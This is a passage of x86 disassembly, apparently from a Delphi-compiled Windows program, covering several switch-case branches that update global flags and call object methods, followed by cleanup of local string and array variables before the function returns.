xor edx, edx
call fcn.0047c834
jmp 0x4e598e
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0047c7b8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c8b4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54784c]
call fcn.0047c834
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53dab0]
call fcn.0047c934
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047c9e0
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x53d464], al
jmp case.0x4df632.10
inc byte [0x53d464]
mov eax, dword [0x53d30c]
call fcn.00472ea0
movsx edx, byte [0x53d464]
cmp eax, edx
jg case.0x4df632.10
mov byte [0x53d464], 0xff
jmp case.0x4df632.10
mov eax, dword [0x53ec98]
mov eax, dword [eax]
xor edx, edx
call fcn.004b8bf0
jmp case.0x4df632.10
mov eax, dword [0x547864]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4df632.10
mov eax, dword [0x53e694]
cmp dword [eax], 0
jne 0x4e5a24
call fcn.004d381c
mov eax, dword [0x53e58c]
cmp dword [eax], 0
jne 0x4e5a33
call fcn.004d4b3c
mov eax, dword [0x53e790]
cmp dword [eax], 0
jne 0x4e5a42
call fcn.004d5298
movsx eax, word [0x547858]
mov dword [0x547860], eax
mov ax, word [0x547858]
cmp ax, word [0x54785a]
jge 0x4e5a78
movsx eax, word [0x54785a]
movsx edx, word [0x547858]
sub eax, edx
call fcn.004030b8
add dword [0x547860], eax
mov dword [0x547868], 0xffffffff
mov byte [0x53dab8], 1
jmp case.0x4df632.110
mov byte [0x53dab8], 0
jmp case.0x4df632.110
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
mov word [0x547858], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov word [0x54785a], ax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 1
mov byte [0x54785c], al
lea edx, [ebp - 0xafc]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xafc]
mov eax, dword [0x547864]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x547864]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4df632.10
mov byte [0x53dab8], 0
jmp case.0x4df632.10
cmp byte [0x53dab8], 0
je 0x4e5b07
mov dword [ebp - 0x50], 1
jmp 0x4e5b0c
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
xor eax, eax
mov dword [0x53d314], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5d6e
lea eax, [ebp - 0xafc]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xaf4]
call fcn.00404cf0
lea eax, [ebp - 0xaf0]
call fcn.004045b8
lea eax, [ebp - 0xaec]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xae0]
call fcn.004045b8
lea eax, [ebp - 0xadc]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xad0]
call fcn.004045b8
lea eax, [ebp - 0xacc]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xac0]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xab8]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xaac]
call fcn.004045b8
lea eax, [ebp - 0xaa8]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xaa0]
call fcn.004045b8
lea eax, [ebp - 0xa9c]
mov edx, 5
call fcn.00404d08
lea eax, [ebp - 0xa88]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xa30]
call fcn.00404cf0
lea eax, [ebp - 0xa2c]
mov edx, 6
call fcn.004045dc
lea eax, [ebp - 0xa14]
call fcn.00404cf0
lea eax, [ebp - 0xa10]
mov edx, 0x29
call fcn.004045dc
lea eax, [ebp - 0x96c]
mov edx, 0x10
call fcn.004045dc
lea eax, [ebp - 0x92c]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0x924]
mov edx, 0xe
call fcn.004045dc
lea eax, [ebp - 0x8ec]
call fcn.00404cf0
lea eax, [ebp - 0x8e8]
mov edx, 4
call fcn.004045dc
lea eax, [ebp - 0x8d8]
call fcn.00404cf0
lea eax, [ebp - 0x8d4]
call fcn.004045b8
lea eax, [ebp - 0x8d0]
call fcn.00404cf0
lea eax, [ebp - 0x8cc]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8c0]
call fcn.00404cf0
lea eax, [ebp - 0x8bc]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0xf0]
mov edx, 7
call fcn.004045dc
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xc0]
call fcn.004045b8
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xa0]
call fcn.004045b8
lea eax, [ebp - 0x90]
call fcn.004045b8
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0x74]
call fcn.004045b8
lea eax, [ebp - 0x6c]
mov edx, 4
call fcn.004045dc
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x19]
mov edx, dword [0x4707bc]
call fcn.00405348
ret